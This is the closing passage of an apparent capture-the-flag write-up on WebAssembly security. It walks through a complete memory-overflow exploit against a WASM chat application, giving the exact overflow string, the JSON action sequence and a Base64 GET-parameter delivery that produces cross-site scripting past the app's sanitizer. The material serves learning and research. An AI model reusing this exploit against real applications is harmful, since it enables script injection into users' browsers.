We use +1 because the pointer needs to point inside the string, skipping the very first <. That way, when we overwrite the contents, we don’t disturb WASM memory alignment or the existing tag boundaries.

The Overflow Payload

To overwrite the first message pointer, we edit the last (11th) message with this payload:

"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050"

Why Unicode escapes?

  • JavaScript strings only support Unicode text safely.
  • Using \u escapes lets us write exact byte values directly into WASM memory without unexpected encoding issues.

Once that’s done, we edit the first message and replace its content with:

"img src=1      onerror=%.*s "

At this point, the HTML stub in WASM memory has been surgically modified.

Testing

Now, sending a new message with alert(1337) should inject:

<img src=1 onerror=alert(1337)>

Boom.

Screenshot showing message characters in DevTools
Full Exploit Workflow
  • Send 11 messages to trigger realloc() and set up our overflow layout.
  • Edit the 11th message to overwrite the first message’s pointer with the HTML stub’s memory address.
  • Overwrite the stub itself with our <img> payload.
  • Send a new message containing JavaScript code, e.g., alert(1337).
  • Watch your payload execute, bypassing all filters.

The payload structure:

[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1      onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]

Finally, encode the entire payload in Base64 and pass it to the application as the s GET parameter.

And just like that, we’ve bypassed all sanitization logic, turning the chatbox into a JavaScript payload dropper — straight out of WASM linear memory manipulation.

Getting the Flag

Let’s not dive too deep into this part since this post is all about WASM security, not flag retrieval.

Wrap Up

Uff, this turned into quite a long post! If you’ve made it this far, hats off to you. That’s some serious patience and dedication to learning new things. Thanks a ton for sticking around and reading through everything I wrote here. Hopefully, this deep dive gave you a solid understanding of WASM security and maybe even sparked some ideas for your own tinkering. Keep that same curiosity, passion, and joy for learning alive because that’s what makes this journey fun.

References